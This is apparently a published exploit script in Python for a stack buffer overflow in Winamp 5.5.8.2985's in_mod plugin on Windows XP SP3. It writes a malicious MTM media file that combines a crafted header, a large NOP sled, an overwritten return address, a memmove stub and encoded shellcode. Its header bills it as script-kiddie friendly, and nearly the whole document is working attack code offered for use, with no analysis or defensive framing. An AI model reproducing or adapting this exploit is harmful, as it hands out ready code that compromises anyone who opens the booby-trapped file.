#!/usr/bin/python  
# Pwn And Beans by Mighty-D and 7eK presents:  
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# A Script Kiddie Friendly Production
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet  
# Bug found by http://www.exploit-db.com/exploits/15248/
# An improvement to http://www.exploit-db.com/exploits/15287/
# POC by fdisk
# MemMove Idea from: A.Gomez
# Exploit by Mighty-D and 7eK 
# Special thanks to:  
# fdisk: Who wrote the skeleton of what you are looking at  
# Ryujin: For pointing the bug  
# EDB-Team
# UdeA GITA SSI


import struct

def fill(shellcode):
       nopsFaltantes = ((len(shellcode) / 40)+1)*40 - len(shellcode)
       shellcode += '\x90'*nopsFaltantes
       return shellcode


header = "\x4D\x54\x4D\x10\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x20\x66\x6F\x72\x20\x69\x6E\x66\x6F\x21\xE0\x00\x29\x39\xFF\xFF\x1F\x00\x40\x0E"
header += "\x78" * 32
buffersize = 65536

nopsled = "\x90" * 58200  +"\x90"*7
eip = "\xED\x1E\x95\x7C"

shellcode = "\x90\x90\x90"+"\x81\xEC\x19\x78\xFF\xFF" #    REALIGN ESP
#[*] x86/alpha_upper encoder
# Place your shellcode here! 
shellcode += "\x89\xe2\xdb\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49" +\
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +\
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +\
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +\
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x43" +\
"\x5a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" +\
"\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x51" +\
"\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x44\x38\x43\x31\x4a" +\
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43" +\
"\x31\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a" +\
"\x4e\x50\x31\x4f\x30\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43" +\
"\x44\x45\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x4f\x32\x4a" +\
"\x4b\x4a\x54\x47\x4b\x50\x54\x46\x44\x47\x58\x43\x45\x4a" +\
"\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c" +\
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" +\
"\x4b\x43\x33\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" +\
"\x4c\x45\x31\x4f\x33\x50\x31\x49\x4b\x45\x34\x4c\x4b\x51" +\
"\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45" +\
"\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51\x4e\x42\x48\x4c" +\
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" +\
"\x56\x50\x53\x43\x56\x43\x58\x46\x53\x47\x42\x45\x38\x43" +\
"\x47\x43\x43\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30\x45" +\
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48" +\
"\x56\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x44" +\
"\x48\x44\x42\x50\x55\x43\x5a\x45\x52\x4b\x4f\x48\x50\x42" +\
"\x48\x4e\x39\x44\x49\x4b\x45\x4e\x4d\x50\x57\x4b\x4f\x49" +\
"\x46\x46\x33\x46\x33\x46\x33\x50\x53\x51\x43\x51\x53\x50" +\
"\x53\x51\x53\x46\x33\x4b\x4f\x4e\x30\x45\x36\x42\x48\x44" +\
"\x51\x51\x4c\x45\x36\x51\x43\x4c\x49\x4d\x31\x4a\x35\x42" +\
"\x48\x4f\x54\x45\x4a\x44\x30\x48\x47\x50\x57\x4b\x4f\x49" +\
"\x46\x42\x4a\x44\x50\x46\x31\x50\x55\x4b\x4f\x48\x50\x45" +\
"\x38\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x46\x37\x4b\x4f\x48" +\
"\x56\x51\x43\x50\x55\x4b\x4f\x4e\x30\x45\x38\x4d\x35\x47" +\
"\x39\x4d\x56\x47\x39\x50\x57\x4b\x4f\x48\x56\x50\x50\x50" +\
"\x54\x51\x44\x51\x45\x4b\x4f\x4e\x30\x4c\x53\x43\x58\x4d" +\
"\x37\x42\x59\x4f\x36\x42\x59\x51\x47\x4b\x4f\x4e\x36\x51" +\
"\x45\x4b\x4f\x48\x50\x45\x36\x42\x4a\x42\x44\x42\x46\x42" +\
"\x48\x43\x53\x42\x4d\x4b\x39\x4d\x35\x43\x5a\x50\x50\x51" +\
"\x49\x46\x49\x48\x4c\x4c\x49\x4d\x37\x43\x5a\x50\x44\x4b" +\
"\x39\x4d\x32\x46\x51\x4f\x30\x4a\x53\x4f\x5a\x4b\x4e\x51" +\
"\x52\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4c\x53\x4c\x4d\x42" +\
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" +\
"\x4e\x4f\x43\x44\x56\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49" +\
"\x46\x51\x4b\x50\x57\x50\x52\x46\x31\x50\x51\x50\x51\x43" +\
"\x5a\x45\x51\x50\x51\x46\x31\x46\x35\x50\x51\x4b\x4f\x48" +\
"\x50\x42\x48\x4e\x4d\x48\x59\x44\x45\x48\x4e\x50\x53\x4b" +\
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x46\x57\x4b\x4f\x48" +\
"\x50\x4c\x4b\x50\x57\x4b\x4c\x4d\x53\x4f\x34\x45\x34\x4b" +\
"\x4f\x49\x46\x46\x32\x4b\x4f\x4e\x30\x42\x48\x4a\x50\x4c" +\
"\x4a\x45\x54\x51\x4f\x50\x53\x4b\x4f\x48\x56\x4b\x4f\x48" +\
"\x50\x41\x41"

shellcode = fill(shellcode)
nroChunks = (len(shellcode) / 40)

strNroChunks = struct.pack("B", nroChunks+13) #El shellcode del mmove resta 13
print ( "nroChunks=0x%X, strNroChunks=0x%X" % (nroChunks,
struct.unpack("B", strNroChunks)[0] ) )

#add strNroChunks
mmove ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe3\x81\xeb\xcc\xfe\xff\xff\xff\xe3\x60\x89\xfd\x8b\x45\x3c\xf7\xd8\x29\xc5\x8b\x7d\x78\xf7\xd8\x29\xc5\xf7\xdd\x29\xef\x8b\x4f\x18\x50\x90\x90\x90\x90\x90\x58\x8b\x5f\x20\x29\xeb\xf7\xdd\x85\xc9\x75\x0d\xff\x61\xc3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x49\x8b\x34\x8b\xf7\xdd\x29\xee\xf7\xdd\x31\xc0\x99\xfc\xac\x84\xc0\x74\x20\xc1\xca\x0d\xff\xf7\xd8\x29\xc2\xf7\xd8\xeb\xee\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3b\x54\x24\x28\x75\xb2\x8b\x5f\x24\x50\x90\x90\x90\x90\x58\xf7\xdd\x29\xeb\x50\x53\xf7\xd9\x29\xcb\x29\xcb\x31\xc0\xb0\x20\x29\xc3\xf7\xd9\x66\x8b\x4b\x20\x5b\x58\x4f\x4f\x4f\x4f\x8b\x5f\x20\x47\x50\x90\x90\x90\x58\x47\x47\x47\x29\xeb\x53\x52\x31\xd2\xb2\x20\xf7\xd9\x29\xcb\x29\xcb\x29\xcb\x29\xcb\x29\xd3\x8b\x43\x20\xf7\xd9\x5a\x5b\x29\xe8\xf7\xdd\x4c\x50\x90\x90\x90\x58\x4c\x4c\x4c\x89\x44\x24\x20\x44\x44\x44\x44\x61\xc3\x90\x90\x31\xdb\xb3\x80\x29\xdc\x5b\x89\xe5\x31\xc0\x64\x8b\x40\x30\x48\x8b\x40\x0d\xff\x48\x48\x48\x48\x8b\x70\x20\xad\x2c\x20\x8b\x78\x28\x2c\x20\x89\x7d\x60\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x52\x44\x44\x44\x44\x44\x44\x44\x44\x50\x90\x90\x90\x90\x90\x90\x58\xba\x6c\x2c\xec\xc9\xf7\xda\x81\xea\x22\x22\x22\x22\xf7\xda\x52\x4c\x4c\x4c\x4c\x5a\x57\xe8\xc0\xfe\xff\xff\x53\x89\xeb\x80\xeb\x20\x50\x90\x90\x90\x90\x90\x58\x89\x43\x20\x5b\x31\xc0\x2c\x80\x2c\x70\x29\xc5\x31\xc0\x50\x68\x6c\x20\x20\x20\x68\x6c\x2e\x64\x6c\x68\x6e\x74\x64\x6c\x54\x89\xe8\x2c\x90\x50\x90\x90\x90\x58\x2c\x80\x8b\x40\x20\xff\xd0\x89\xc7\x68\x58\xec\x6a\x5f\x57\xe8\x73\xfe\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x50\x90\x90\x90\x58\x89\xe5\x31\xd2\x66\x81\xea\x9c\xfc\x90\x90\x90\x90\x90\x66\xf7\xda\x66\x29\xd5\x31\xd2\x66\xba\x77\x27\x29\xd4\x89\xe7\x54\x31\xc9\xb1"+strNroChunks+"\x50\x90\x90\x90\x90\x58\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\x50\x31\xc0\xb0\x28\xfe\xc0\x50\x90\x90\x90\x90\x58\xfe\xc0\x31\xd2\xb2"+strNroChunks+"\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\x29\xca\x50\x90\x90\x90\x90\x90\x90\x58\xf6\xe2\x89\xc6\x58\xf7\xdd\x29\xee\xf7\xdd\x50\x51\x31\xdb\xb3\x28\x53\x56\x57\xff\xd0\x66\x81\xec\xf4\xff\x59\x58\x31\xdb\xb3\x28\x50\x90\x90\x90\x90\x58\xf7\xdb\x29\xdf\x31\xdb\xfe\xcb\x29\xde\xe2\x90\x5f\xff\xd7" + "\x90"*20

nops = "\x90"*70

payload = header + nopsled + eip + nops + mmove + shellcode;

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "mtm file generated successfuly"